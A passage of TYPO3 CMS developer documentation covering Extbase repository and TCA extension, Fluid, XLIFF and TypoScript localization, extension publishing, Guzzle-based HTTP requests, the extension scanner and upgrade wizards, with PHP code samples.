case as it can only be applied to Extbase repositories.
If you find a repository in this name scheme but it does not extend
directly or indirectly the class
\TYPO3\CMS\Extbase\Persistence\Repository you are also not dealing
with an Extbase repository.
If the repository is final it cannot be extended.
In all these cases refer to the extension's documentation on how to extend it.
Extend the original model
We assume you already extended the database table and TCA (table configuration array)
as described in Extending TCA. Extend the
original model by a custom class in your extension:
Add all additional fields that you require. By convention the database
fields are usually prefixed with your extension's name and so are the
names in the model.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useOriginalVendor\OriginalExtension\Domain\Repository\SomeModelRepository;
classMyExtendedModelRepositoryextendsSomeModelRepository{
/* Unless you need additional methods you can leave the class body empty */
}
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The rule that a repository must follow the name schema of the model also
applies when extending model and repository. So the new repository's name must
end on "Repository" and it must be in the directory Domain/Repository.
If you have no need for additional repository methods you can leave the body of
this class empty. However, for Extbase internal reasons you have to create this
repository even if you need no additional functionality.
Register the extended repository
The extended repository needs to be registered with Extbase in your extensions
EXT:my_extension/ext_localconf.php. This step tells
Extbase to use your repository instead of the original one whenever the original
repository is requested via Dependency Injection in a controller or service.
The commonly used extension EXT:news (georgringer/news) supplies a special
generator that can be used to add custom fields to news models.
Extending the TCA array
Being a PHP array, the Table Configuration Array can be easily
extended. It can be accessed as the global variable
$GLOBALS['TCA'] .
TYPO3 also provides APIs for making this simpler.
There are various ways to store changes to
$GLOBALS['TCA'] . They
depend - partly - on what you are trying to achieve and - a lot -
on the version of TYPO3 CMS which you are targeting. The TCA can only be
changed from within an extension.
Changed in version 14.0
There are two changes for
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPlugin().
The second argument
$type and the third argument
$extensionKey
have been dropped.
Storing in extensions
The advantage of putting your changes inside an extension is that they
are nicely packaged in a self-contained entity which can be easily
deployed on multiple servers.
The drawback is that the extension loading order must be finely controlled. However, in
case you are modifying Core TCA, you usually don't have to worry about that. Since
custom extensions are always loaded after the Core's TCA, changes from custom extensions
will usually take effect without any special measures.
In case your extension modifies another extension, you actively need to make
sure your extension is loaded after the extension you are modifying. This can
be achieved by registering that other extension as a dependency (or suggestion)
of yours. See the description of constraints in Core APIs.
The loading order also matters if you have multiple extensions overriding the
same field, probably even contradicting each other.
Files within Configuration/TCA/ files are loaded
within a dedicated scope. This means that variables defined in those files
cannot leak into the following files.
For more information about an extension's structure, please refer to the
extension architecture chapter.
Storing in the Overrides/ folder
Changes to
$GLOBALS['TCA']
must be stored inside a folder called Configuration/TCA/Overrides/.
For clarity files should be named along the pattern
<tablename>.php.
The advantage of this method is that all such changes are incorporated into
$GLOBALS['TCA'] before it is cached. This is thus far more efficient.
Note
All files within Configuration/TCA/Overrides/ will be loaded, you are not forced
to have a single file for table "tt_content" for instance. When dealing with custom
content elements this file can get 1000+ lines very quickly and maintainability can get
hard quickly as well.
Also names don't matter in that folder, at least not to TYPO3. They only might influence
loading order. Proper naming is only relevant for the real definition of tables one
folder up in Configuration/TCA/
Attention
Be aware that you cannot extend the TCA of extensions if it was configured within
its ext_tables.php file, usually containing the "ctrl" section
referencing a "dynamicConfigFile". Please ask the extension author to switch
to the Configuration/TCA/<tablename>.php setup.
Attention
Only TCA-related changes should go into Configuration/TCA/Overrides
files. Some API calls may be okay as long as they also manipulate only
$GLOBALS['TCA'] . For example, it is fine to register a plugin with
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPlugin() in
Configuration/TCA/Overrides/tt_content.php because that API call only
modifies
$GLOBALS['TCA'] for table
tt_content.
Changing the TCA "on the fly"
It is also possible to perform some special manipulations on
$GLOBALS['TCA'] right before it is stored into cache, thanks to the
PSR-14 eventAfterTcaCompilationEvent.
Customization Examples
Many extracts can be found throughout the manual, but this section
provides more complete examples.
The second example
tx_examples_special only works when the
renderType has been registered implemented and then registered in
the ext_localconf.php. Please refer to the the following chapter of the
TCA reference on how to implement it: Custom inputs (user).
In this example the first method call adds fields using
ExtensionManagementUtility::addTCAcolumns(). This ensures that the fields
are registered in
$GLOBALS['TCA'] . Parameters:
Name of the table to which the fields should be added.
An array of the fields to be added. Each field is represented in the
TCA syntax for columns.
Since the fields are only registered but not used anywhere, the fields are
afterwards added to the "types" definition of the
fe_users table by
calling
ExtensionManagementUtility::addToAllTCAtypes(). Parameters:
Name of the table to which the fields should be added.
If the fourth parameter (position) is omitted or the specified field is not found,
new fields are added at the bottom of the form. If the table uses tabs,
new fields are added at the bottom of the Extended tab. This tab
is created automatically if it does not exist.
These method calls do not create the corresponding fields in the database. The new
fields must also be defined in the ext_tables.sql file of the extension:
The above example uses the SQL
CREATE TABLE statement. This is the
way TYPO3 expects it to be. The Extension Manager will automatically
transform this into an
ALTER TABLE statement when it detects that the
table already exists.
The following screen shot shows the placement of the two
new fields when editing a "fe_users" record:
The new fields added at the bottom of the "Extended" tab
The next example shows how to place a field more precisely.
Example 2: Extending the tt_content Table
In the second example, we will add a "No print" field to all content
element types. First of all, we add its SQL definition in
ext_tables.sql:
The code is mostly the same as in the first example, but the last method call
is different and requires an explanation. The tables pages and
tt_content use palettes extensively. This increases
flexibility.
Therefore we call ExtensionManagementUtility::addFieldsToPalette()
instead of ExtensionManagementUtility::addToAllTCAtypes().
We need to specify the palette's key as the second argument (access).
Precise placement of the new field is achieved with the fourth parameter
(before:editlock). This will place the "no print" field right before the
Restrict editing by non-Admins field, instead of putting it in the
Extended tab.
The result is the following:
The new field added next to an existing one
Note
Obviously this new field will not magically exclude a content element
from being printed. For it to have any effect, it must be used during
the rendering by modifying the TypoScript used to render the
tt_content table. Although this is outside the scope of this
manual, here is an example of what you could do, for the sake of
showing a complete process.
Assuming you are using "fluid_styled_content" (which is installed by
default), you could add the following TypoScript to your template:
This will wrap a "div" tag with a "noprint" class around any content
element that has its "No print" checkbox checked. The final step would
be to declare the appropriate selector in the print-media CSS file so
that "noprint" elements don't get displayed.
This is just an example of how the effect of the "No print" checkbox
can be ultimately implemented. It is meant to show that just adding
the field to the
$GLOBALS['TCA'] is not enough.
Verifying the TCA
You may find it necessary – at some point – to verify the full
structure of the
$GLOBALS['TCA'] in your TYPO3 installation.
The System > Configuration module makes it possible to have an overview of the
complete
$GLOBALS['TCA'] , with all customizations taken into account.
Note
The Configuration module is part of the lowlevel system extension. In Composer mode
you can install it with:
composer req typo3/cms-lowlevel
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Checking the existence of the new field via the Configuration module
If you cannot find your new field, it probably means that you have
made some mistake.
This view is also useful when trying to find out where to insert a new
field, to explore the combination of types and palettes that may be
used for the table that we want to extend.
The term "frontend plugin" describes a part of a TYPO3 extension that is
handled like a content element (can be inserted like a record/element in
the TYPO3 backend by editors), which will deliver dynamic output when
rendered in the frontend. The distinction and boundaries to regular content
are sometimes not easy to draw, because also "regular" content elements
are often able to perform dynamic output (for example with TypoScript
configuration, Fluid data processors or ViewHelpers).
There are different technology choices to create frontend plugins in TYPO3.
It is also possible to create a frontend plugin using Core functionality
only.
Localization
The configuration options for localization inside TYPO3 are versatile.
You will find a comprehensive description of all concepts and options in the
Frontend Localization Guide.
For the following sections, we assume a correct configuration of the
localization, which is normally done in the
site configuration.
To make such texts exchangeable, they have to be removed from the Fluid
template and inserted into an XLIFF language file. Every text
fragment to be translated is assigned an identifier (also called key)
that can be inserted into the Fluid template.
The translation ViewHelper
f:translate
To insert translations into a template, Fluid offers the ViewHelper
f:translate.
This ViewHelper has a property called
key where the identifier of
the text fragment prefixed by the location file can be provided.
<f:translatekey="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey" /><!-- or as inline Fluid: -->
{f:translate(key: 'LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey')}
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The text fragment will now be displayed in the current frontend language
defined in the site configuration, if the translation file of the requested
language can be found in the location of the prefix.
If the key is not available in the translated file or if the language file is not
found in the language, the key is looked up in the default language file. If
it is not found there, nothing is displayed.
You can provide a default text fragment in the property
default to
avoid no text being displayed:
This short notation triggers TypoScript parsing via the Extbase
ConfigurationManager. It should be avoided in backend context, for example
in backend modules.
It is possible to use the translation file of another extension by supplying
the parameter
extensionName with the UpperCamelCased extension key:
<trans-unitid="blog.list"xml:space="preserve"approved="yes"><source>Here is a list of %d blogs: </source><target>Eine Liste von %d Blogs ist hier: </target></trans-unit>
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Bad example! Don't use it!
<trans-unitid="blog.list1"xml:space="preserve"approved="no"><source>Here is a list of </source><target>Eine Liste von </target></trans-unit><trans-unitid="blog.list2"xml:space="preserve"approved="no"><source>blogs: </source><target>Blogs ist hier: </target></trans-unit>
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Argument types
The placeholder contains the expected type of the argument to be inserted.
Common are:
%d
The argument is treated as an integer and presented as a (signed)
decimal number. Example:
-42
%f
The argument is treated as a float and presented as a floating-point
number (locale aware). Example:
3.14159
%s
The argument is treated and presented as a string. This can also be
a numeral formatted by another ViewHelper
Example:
Lorem ipsum dolor,
59,99 €,
12.12.1980
There is no placeholder for dates. Date and time values have to be formatted
by the according ViewHelper
<f:format.date>, see section
localization of date output .
More than one argument can be supplied. However for grammatical reasons
the ordering of arguments may be different in the various languages.
One easy example are names. In English the first name is displayed followed by
a space and then the family name. In Chinese the family name comes first
followed by no space and then directly the first name. By the following
syntax the ordering of the arguments can be made clear:
The authors name would be displayed in English as
Lina Wolf while
it would be displayed in Chinese like
吴林娜 (WúLínnà).
Localization of date output
It often occurs that a date or time must be displayed in a template.
Every language area has its own convention on how the date is to be
displayed: While in Germany, the date is displayed in the form
Day.Month.Year, in the USA the form
Month/Day/Year is used. Depending on the language, the date
must be formatted different.
Generally the date or time is formatted by the
<f:format.date> ViewHelper:
<f:format.datedate="{dateObject}"format="d.m.Y" /><!-- or -->
{dateObject -> f:format.date(format: 'd.m.Y')}
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The date object
{dateObject} is displayed with the date
format given in the parameter
format. This format string must
be in a format that is readable by the PHP function
date()
and declares the format of the output.
Then you can store another format string for every language in the
locallang.xlf file.
Tip
There are other formatting ViewHelpers for adjusting the output of
currencies or big numbers. These ViewHelpers all starts with
<f:format. You can find an overview of these ViewHelpers in
the ViewHelper Reference: format.
Localization in PHP
Sometimes you have to localize a string in PHP code, for
example inside of a controller or a user function.
Which method of localization to use depends on the current context:
The
\TYPO3\CMS\Core\Localization\LanguageService could formerly be
accessed via the global variable
$GLOBALS['LANG']. This is now
discouraged. Use
LanguageServiceFactory instead.
The
\TYPO3\CMS\Core\Localization\LanguageService is available if a
backend user has been initialized, in particular in the following contexts:
frontend: only if there is a logged-in backend user
backend: always, except in Admin Tools modules (e.g. within
Upgrade Wizard
in the backend)
install tool / install tool modules in backend (e.g. Upgrade Wizard): no
in cli: only if a backend user was initialized, e.g. by
TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser()
The
LanguageServiceFactory can be used to instantiate. Please see the examples below.
Dependency injection should be available in most contexts where you need
translations. Also the current request is available in entry point such as
custom non-Extbase controllers, user functions, data processors etc.
During development you are usually logged into the backend. So the global
variable
$GLOBALS['LANG'] might be available in the frontend. Once
logged out it is usually not available. Never depend on
$GLOBALS['LANG'] in the frontend unless you know what you are doing.
Localization without context
If you should happen to be in a context where none of these are available,
for example a static function, you can still do translations:
EXT:my_extension/Classes/Utility/MyUtility.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Utility;
useTYPO3\CMS\Core\Localization\LanguageServiceFactory;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyUtility{
privatestaticfunctiontranslateSomething(string $lll): string{
$languageServiceFactory = GeneralUtility::makeInstance(
LanguageServiceFactory::class,
);
// As we are in a static context we cannot get the current request in// another way this usually points to general flaws in your software-design
$request = $GLOBALS['TYPO3_REQUEST'];
$languageService = $languageServiceFactory->createFromSiteLanguage(
$request->getAttribute('language')
?? $request->getAttribute('site')->getDefaultLanguage(),
);
return $languageService->sL($lll);
}
}
This method requires the localization key as the first and the extension's
name as optional second parameter. For all available parameters
see below. Then the corresponding
text in the current language will be loaded from this extension's
locallang.xlf file.
In this example the content of the flash message to be displayed in the backend
gets translated:
Class T3docs\Examples\Controller\ModuleController
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
useTYPO3\CMS\Extbase\Utility\LocalizationUtility;
classModuleControllerextendsActionController{
/**
* Adds a count of entries to the flash message
*/publicfunctioncountAction(string $tablename = 'pages'): ResponseInterface{
$count = $this->tableInformationService->countRecords($tablename);
$message = LocalizationUtility::translate('record_count_message','examples', [$count, $tablename], );$this->addFlashMessage(
$message ?? '',
'Information',
ContextualFeedbackSeverity::INFO,
);
return$this->redirect('flash');
}
}
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The string in the translation file is defined like this:
<?xml version="1.0" encoding="utf-8" standalone="yes" ?><!-- EXT:examples/Resources/Private/Language/locallang.xlf --><xliffversion="1.0"><filesource-language="en"datatype="plaintext"original="messages"date="2013-03-09T18:44:59Z"product-name="examples"><header /><body><trans-unitid="new_relation"xml:space="preserve"><source>Content element "%1$s" (uid: %2$d) has the following relations:</source></trans-unit></body></file></xliff>
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The
arguments will be replaced in the localized strings by
the PHP function sprintf.
Provide localized strings via JSON by a middleware
In the following example we use the language service API
to provide a list of localized season names. This list could then be loaded in
the frontend via Ajax.
usePsr\Http\Message\ResponseFactoryInterface;
usePsr\Http\Message\StreamFactoryInterface;
useTYPO3\CMS\Core\Localization\LanguageServiceFactory;
/**
* This middleware can be used to retrieve a list of seasons with their according translation.
* To get the correct translation the URL must be within a base path defined in site
* handling. Some examples:
* "/en/haiku-season-list.json" for English translation (if /en is the configured base path)
* "/de/haiku-season-list.json" for German translation (if /de is the configured base path)
* If the base path is not available in the according site the default language will be used.
*/final readonly classHaikuSeasonListimplementsMiddlewareInterface{
publicfunction__construct(
private LanguageServiceFactory $languageServiceFactory,
private ResponseFactoryInterface $responseFactory,
private StreamFactoryInterface $streamFactory,
){}
}
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The main method
process() is called with a
\Psr\Http\Message\ServerRequestInterface as argument that can be used to detect the
current language and is therefore passed on to the private method
getSeasons() doing the
actual translation:
Now we can let the
\TYPO3\CMS\Core\Localization\LanguageServiceFactory to
create a
\TYPO3\CMS\Core\Localization\LanguageService from the request's
language, falling back to the default language of the site.
The
LanguageService can then be queried for the localized strings:
lib.blogListTitle = TEXT
lib.blogListTitle {
data = LLL : EXT:blog_example/Resources/Private/Language/locallang.xlf:blog.list
}
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TypoScript conditions based on the current language
The condition function
siteLanguage
can be used to provide certain TypoScript configurations only for certain
languages. You can query for any property of the language in the
site configuration.
lib.something = TEXT[siteLanguage("locale") == "de_CH"]
lib.something.value = This site has the locale "de_CH"
[END][siteLanguage("title") == "Italy"]
lib.something.value = This site has the title "Italy"
[END]
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Changing localized terms using TypoScript
Attention
When localized strings are managed directly in TypoScript instead of .xlf
files the translations are not exported with export tools to be send to
translation agencies. The language strings in TypoScript might be
overlooked when introducing future translations.
It is possible to override texts in the plugin configuration in
TypoScript.
If, for example, you want to use the text "Remarks" instead of the
text "Comments", you can overwrite the identifier
comment_header for the affected languages. For this, you can
add the following line to your TypoScript template:
With this, you will overwrite the localization of the term
comment_header for the default language and the languages "de" and "zh"
in the blog example.
The locallang.xlf files of the extension do not need to be changed for
this.
Attention
Setting
_LOCAL_LANG might not work for the ViewHelper
<f:translate> if used outside of the Extbase request.
and the
extensionName ViewHelper attribute is not set and the key used
does not follow the LLL:EXT:extensionkey syntax.
Outside of an Extbase request TYPO3 tries to infer the the extension key
from the
extensionName ViewHelper attribute or the language key
itself.
Fictional root template
page = PAGE
page.10 = FLUIDTEMPLATE
page.10.template = TEXT
page.10.template.value (
# infer from extensionName
<f:translate key="onlineDocumentation" extensionName="backend" />
# infer from language key
<f:translate key="LLL:EXT:backend/Resources/Private/Language/locallang.xlf:onlineDocumentation" />
# should not work because the locallang.xlf does not exist, but works right now
<f:translate key="LLL:EXT:backend/Resources/locallang.xlf:onlineDocumentation" />
)
# Note the tx_ prefix
plugin.tx_backend._LOCAL_LANG.default {
onlineDocumentation = TYPO3 Online Documentation from Typoscript
}
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stdWrap.lang
stdWrap offers the lang property,
which can be used to provide localized strings directly from TypoScript.
This can be used as a quick fix but it is not recommended to
manage translations within the TypoScript code.
Publish your extension
Follow these steps to release your extension publicly in the TYPO3 world:
Extension published in TER (optional).
This is not mandatory, but makes the webhook approval easier for the TYPO3
Documentation Team.
Advantages:
Easily find your extension documentation, which serves as a good companion
for getting started with your extension.
Crowdin
If you use language labels which should get translated in your extension
(typically in Resources/Private/Languages),
you may want to configure the translation setup on https://crowdin.com.
Crowdin is the official translation server for TYPO3.
Before you publish an extension you should be aware of what happens after it.
Users and integrators will give you feedback (contributions, questions,
bug reports). In this case you should have
A possibility to get in contact with you (link to an issue tracker like
forge, GitHub, etc.)
A possibility to look into the code (link to a public repository)
Now we come to the process of publishing in TER. You have two options for
releasing an extension:
Via the web form:
Click "Upload" next to your extension key in the
extension key management
and follow the instructions.
Via the REST interface (recommended):
Use the PHP CLI application Tailor
which lets you register new extension keys and helps you maintain
your extensions, update extension information and publish new extension
versions. For complete instructions and examples, see the official
Tailor documentation.
Besides manual publishing, Tailor is the perfect complement for
automatic publishing via CI / CD pipelines. On the application's homepage
you will find integration snippets and below recommended tools that further
simplify the integration into common CI / CD pipelines:
The PHP library "Guzzle" is available in TYPO3 as a feature-rich solution for
creating HTTP requests based on the PSR-7 interfaces.
Guzzle automatically detects the underlying adapters available on the system,
such as cURL or stream wrappers, and chooses the best solution for the system.
A TYPO3-specific PHP class named
\TYPO3\CMS\Core\Http\RequestFactory is
present as a simplified wrapper for accessing Guzzle clients.
All options available under
$GLOBALS['TYPO3_CONF_VARS']['HTTP'] are
automatically applied to the Guzzle clients when using the
RequestFactory
class. The options are a subset of the available options from Guzzle, but can be
extended.
Although Guzzle can handle Promises/A+ and asynchronous requests, it currently
serves as a drop-in replacement for the previous mixed options and
implementations within
GeneralUtility::getUrl() and a PSR-7-based API for
HTTP requests.
The TYPO3-specific wrapper
GeneralUtility::getUrl() uses Guzzle for
remote files, eliminating the need to directly configure settings based on
specific implementations such as stream wrappers or cURL.
<?phpdeclare(strict_types=1);
/*
* This file is part of the TYPO3 CMS project. [...]
*/namespaceT3docs\Examples\Http;
useTYPO3\CMS\Core\Http\RequestFactory;
final readonly classMeowInformationRequester{
privateconst API_URL = 'https://catfact.ninja/fact';
// We need the RequestFactory for creating and sending a request,// so we inject it into the class using constructor injection.publicfunction__construct(
private RequestFactory $requestFactory,
){}
/**
* @throws \JsonException
* @throws \RuntimeException
*/publicfunctionrequest(): string{
// Additional headers for this specific request// See: https://docs.guzzlephp.org/en/stable/request-options.html
$additionalOptions = [
'headers' => ['Cache-Control' => 'no-cache'],
'allow_redirects' => false,
];
// Get a PSR-7-compliant response object
$response = $this->requestFactory->request(
self::API_URL,
'GET',
$additionalOptions,
);
if ($response->getStatusCode() !== 200) {
thrownew \RuntimeException(
'Returned status code is ' . $response->getStatusCode(),
);
}
if ($response->getHeaderLine('Content-Type') !== 'application/json') {
thrownew \RuntimeException(
'The request did not return JSON data',
);
}
// Get the content as a string on a successful request
$content = $response->getBody()->getContents();
$result = json_decode($content, true, flags: JSON_THROW_ON_ERROR);
if (!is_array($result) || !isset($result['fact']) || !is_scalar($result['fact'])) {
thrownew \RuntimeException('The service returned an unexpected format.', 1666413230);
}
return (string)$result['fact'];
}
}
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A POST request can be achieved with:
EXT:my_extension/Classes/SomeClass.php
$additionalOptions = [
'body' => 'Your raw post data',
// OR form data:'form_params' => [
'first_name' => 'Jane',
'last_name' => 'Doe',
]
];
$response = $this->requestFactory->request($url, 'POST', $additionalOptions);
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Extension authors are advised to use the
RequestFactory class instead of
using the Guzzle API directly in order to ensure a clear upgrade path when
updates to the underlying API need to be done.
Custom middleware handlers
Guzzle accepts a stack of custom middleware handlers which can be configured
in
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'] as an array. If a
custom configuration is specified, the default handler stack will be extended
and not overwritten.
TYPO3 provides a small set of helper methods related to HTTP Requests in the class
HttpUtility:
HttpUtility::buildUrl
Creates a URL string from an array containing the URL parts, such as those
output by
parse_url().
HttpUtility::buildQueryString
The
buildQueryString() method is an enhancement to the PHP function
http_build_query(). It implodes multidimensional parameter arrays and
properly encodes parameter names as well as values into a valid query string
with an optional prepend of
? or
&.
If the query is not empty, ? or & are prepended in the correct sequence.
Empty parameters are skipped.
Update your extension for new TYPO3 versions
The following tools are helpful when updating your extension:
The extension scanner provides an interactive interface to scan extension code
for usage of TYPO3 Core API which has been removed or deprecated.
The Extension Scanner
The module can be a great help for extension developers and site maintainers when upgrading to
new Core versions. It can point out code places within extensions that need attention. However,
the detection approach - based on static code analysis - is limited by concept: false positives/negatives
are impossible to avoid.
This document has been written to explain the design goals of the scanner, to point out what it can
and can't do. The document should help extension and project developers to get the best out of the tool,
and it should help Core developers to add Core patches which use the scanner.
This module has been featured on the TYPO3 YouTube channel:
Quick start
Open extension scanner from the TYPO3 backend:
Admin Tools > Upgrade > Scan Extension Files
Open the extension scanner from the Admin Tools
Scan one extension by clicking on it or click "Scan all".
View the report:
The tags weak, strong, etc. will give you an idea
of how well the extension scanner was able to match. Hover over the tags
with the mouse to see a tooltip.
Click on the Changelog to view it.
View extension scanner report
Goals and non goals
Help extension authors quickly find code in extensions that may need attention when upgrading to
newer Core versions.
Extend the existing reST documentation files which are shown in the Upgrade Analysis section
with additional information giving extension authors and site developers hints if they are affected
by a specific change.
It is not a design goal to scan for every TYPO3 Core API change.
It should later be possible to scan different languages - not only PHP - TypoScript or Fluid could be examples.
Core developers should be able to easily register and maintain matchers for new deprecations or breaking patches.
Implementation within the TYPO3 Core backend has been the primary goal. While it might be possible, integration
into IDEs like PhpStorm has not been a design goal. Also, matcher configuration is bound to the Core version,
e.g. tests concerning v12 are not intended to be executed on v11.
Some of the reST files that document a breaking change or deprecated API can be used to scan extensions.
If those find no matches, the reST documentation files are tagged with a "no match" label telling integrators
and project developers that they do not need to concern themselves with that particular change.
The extension scanner is not meant to be used on Core extensions - it is not a Core development helper.
Limits
The extension scanner is based on static code analysis.
"Understanding and analyzing" code flow from within code itself (dynamic code analysis) is not performed.
This means the scanner is basically not much more clever than a simple string search paired with
some additional analysis to reduce false positives/negatives.
Let's explain this by example. Suppose a static method was deprecated:
<?phpnamespaceTYPO3\CMS\Core\Utility;
classSomeUtility{
/**
* @deprecated since ...
*/publicstaticfunctionsomeMethod($foo = ''){
// do something deprecated
}
}
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This method is registered in the matcher class
\TYPO3\CMS\Install\ExtensionScanner\Php\Matcher\MethodCallStaticMatcher like this:
The array key is the class name plus method name,
numberOfMandatoryArguments is the number
of arguments that must be passed to the method,
maximumNumberOfArguments is the maximum
number of arguments the method accepts. The
restFiles array contains file names of
.rst file(s) that explain details of the deprecation.
Now let's look at a theoretical class of an extension that uses this deprecated method:
<?phpnamespaceMy\Extension\Consumer;
useTYPO3\CMS\Core\Utility\SomeUtility;
classSomeClass{
publicfunctionsomeMethod(){
// "Strong" match: Full class combination and method call matches
\TYPO3\CMS\Core\Utility\SomeUtility::someMethod();
// "Strong" match: Full class combination and method call matches
\TYPO3\CMS\Core\Utility\SomeUtility::someMethod('foo');
// "Strong" match: Use statements are resolved
SomeUtility::someMethod('foo');
// "Weak" match: Scanner does not know if $foo is class "SomeUtility", but method name matches
$foo = '\TYPO3\CMS\Core\Utility\SomeOtherUtility';
$foo::someMethod();
// No match: The method is static but called dynamically
$foo->someMethod();
// No match: The method is called with too many arguments
SomeUtility::someMethod('foo', 'bar');
// No match: A different method is called
SomeUtility::someOtherMethod();
}
}
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The first three method calls are classified as strong matches: the full class name is used
and the method name matches including the argument restrictions.
The fourth call
$foo::someMethod(); is classified as a weak match and is a false
positive: Class
SomeOtherUtility is called instead of
SomeUtility.
The sixth method call
SomeUtility::someMethod('foo', 'bar') does not match because the
method is called with two arguments instead of one argument.
The "too many arguments" restriction is a measure to suppress false positives: If a method with
the same name exists which accepts a different number of arguments, valid calls to the other method
may be reported as false positives depending on the number of arguments used in the call.
As you can see, depending on given extension code, the scanner may find false positives and it may
not find matches if for instance the number of arguments is not within a specified range.
The example above looks for static method calls, which are relatively reliable to match. For dynamic
-> method call, a strong match on the class name is almost never achieved, which means almost
all matches for such cases will be weak matches.
Additionally, an extension may already have a version check around a function call to run one function
on one Core version and a different one on another Core version. The extension scanner does not
understand these constructs and would still show the deprecated call as a match, even if it was wrapped
in a Core version check.
Extension authors
Even though the extension scanner can be a great help to quickly see which places of an extension
may need attention when upgrading to a newer Core version, the following points should be considered:
It should not be a goal to always have a green output of the extension scanner, especially
if the extension scanner shows a false positive.
A green output when scanning an extension does not imply that the extension actually works with
that Core version: Some deprecations or breaking changes are not scanned (for example those causing
too many false positives) and the scanner does not support all script/markup languages.
The breaking change / deprecation reST files shipped with a Core version are still relevant and should
be read.
If the extension scanner shows one or more false positives the extension author has the following options:
The author could request a Core patch to remove a specific match from the extension scanner
if it triggers too many false positives. If multiple authors experience the same false positives
they are even more likely to be removed upon request.
Some of the matchers can be restricted to only include strong matches and ignore weak ones. The
extension author may request a "strong match only" patch for specific cases to suppress
common false positives.
If a PHP file is invalid and can not be compiled for a given PHP version, the extension scanner
may throw a general parse error for that file. Additionally, if an extension calls a matched method
with too many arguments (which is valid in PHP) then the extension scanner will not show that
as a match. In general: the cleaner the code base of a given extension is and the simpler the code lines are,
the more useful the extension scanner will be.
If an extension is cluttered with @extensionScannerIgnoreLine or @extensionScannerIgnoreFile
annotations this could be an indication to the extension author to consider branching off
an extensions to support individual Core versions instead of supporting multiple versions in the same release.
Project developers
Project developers are developers who maintain a project that consists of third party extensions
(eg. from TER) together with some custom, project-specific extensions. When analysing the output of
an extension scanner run the following points should be considered:
It is not necessary for all scanned extensions to report green status. Due to the nature of the
extension scanner which can show false positives, extension authors may decide to ignore a false
positive (see above). That means that even well maintained extensions may not report green.
A green status in the scanner does not imply that the extension also works, just that it neither
uses deprecated methods nor any Core API which received breaking changes. It also does not indicate
anything about the quality of the extension: false positives can be caused by for example supporting
multiple TYPO3 versions in the same extension release.
TYPO3 offers a way for extension authors to provide automated updates for
extensions. TYPO3 itself provides upgrade wizards to ease updates of TYPO3
versions. This chapter will explain the concept and how to write upgrade
wizards.
Upgrade wizards are single PHP classes that provide an automated way to update
certain parts of a TYPO3 installation. Usually those affected parts are sections
of the database (for example, contents of fields change) as well as segments in
the file system (for example, locations of files have changed).
Wizards should be provided to ease updates for integrators and administrators.
They are an addition to the database migration, which is handled by the Core
based on ext_tables.sql.
The execution order is not defined. Each administrator is able to execute
wizards and migrations in any order. They can also be skipped completely.
Each wizard is able to check pre-conditions to prevent execution, if nothing has
to be updated. The wizard can log information and executed SQL statements, that
can be displayed after execution.
Best practice
Each extension can provide as many upgrade wizards as necessary. Each wizard
should perform exactly one specific update.
ConfirmableInterface for wizards that need user confirmation
UpgradeWizardInterface
Each upgrade wizard consists of a single PHP file containing a single PHP class.
This class has to implement
\TYPO3\CMS\Install\Updates\UpgradeWizardInterface
and its methods.
The registration of an upgrade wizard is done directly in the class by adding
the class attribute
\TYPO3\CMS\Install\Attribute\UpgradeWizard . The
unique identifier is passed as an argument.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Upgrades;
useTYPO3\CMS\Install\Attribute\UpgradeWizard;
useTYPO3\CMS\Install\Updates\UpgradeWizardInterface;
#[UpgradeWizard('myExtension_exampleUpgradeWizard')]finalclassExampleUpgradeWizardimplementsUpgradeWizardInterface{
/**
* Return the speaking name of this wizard
*/publicfunctiongetTitle(): string{
return'Title of this updater';
}
/**
* Return the description for this wizard
*/publicfunctiongetDescription(): string{
return'Description of this updater';
}
/**
* Execute the update
*
* Called when a wizard reports that an update is necessary
*
* The boolean indicates whether the update was successful
*/publicfunctionexecuteUpdate(): bool{
// Add your logic here
}
/**
* Is an update necessary?
*
* Is used to determine whether a wizard needs to be run.
* Check if data for migration exists.
*
* @return bool Whether an update is required (TRUE) or not (FALSE)
*/publicfunctionupdateNecessary(): bool{
// Add your logic here
}
/**
* Returns an array of class names of prerequisite classes
*
* This way a wizard can define dependencies like "database up-to-date" or
* "reference index updated"
*
* @return string[]
*/publicfunctiongetPrerequisites(): array{
// Add your logic here
}
}
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Method
getTitle()
Return the speaking name of this wizard.
Method
getDescription()
Return the description for this wizard.
Method
executeUpdate()
Is called, if the user triggers the wizard. This method should contain, or
call, the code that is needed to execute the upgrade. Return a boolean
indicating whether the update was successful.
Method
updateNecessary()
Is called to check whether the upgrade wizard has to run. Return
true, if an upgrade is necessary,
false if not. If
false is returned, the upgrade wizard will not be displayed in the
list of available wizards.
Method
getPrerequisites()
Returns an array of class names of prerequisite classes. This way, a wizard
can define dependencies before it can be performed. Currently, the following
prerequisites exist:
DatabaseUpdatedPrerequisite:
Ensures that the database table fields are up-to-date.
ReferenceIndexUpdatedPrerequisite:
The reference index needs to be up-to-date.
Your extension must define a
Configuration/Services.yaml
file. Either
autoconfigure: true must be set, or you have to
manually register the upgrade wizard by adding the tag
install.upgradewizard:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configuration# Only necessary when "autoconfigure" is set to false!MyVendor\MyExtension\Upgrades\ExampleUpgradeWizard:tags:-name:install.upgradewizard
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After creating the new upgrade wizard, delete all caches in
Admin tools > Maintanance > Flush TYPO3 and PHP Cache or via console
command:
when marking the wizard as done in the table
sys_registry
Since all upgrade wizards of TYPO3 Core and extensions are registered using the
identifier, it is recommended to prepend the wizard identifier with a prefix
based on the extension key.
You should use the following naming convention for the identifier:
myExtension_wizardName, for example bootstrapPackage_addNewDefaultTypes
The extension key and wizard name in lowerCamelCase, separated by underscore
The existing underscores in extension keys are replaced by capitalizing the
following letter
Attention
Any identifier will still work, using these naming conventions is not
enforced. In fact, it is not recommended to change already existing wizard
identifiers: The information, that the wizard was performed is stored
using the identifier in the
sys_registry table and this information
would then be lost.
Some examples:
Extension key
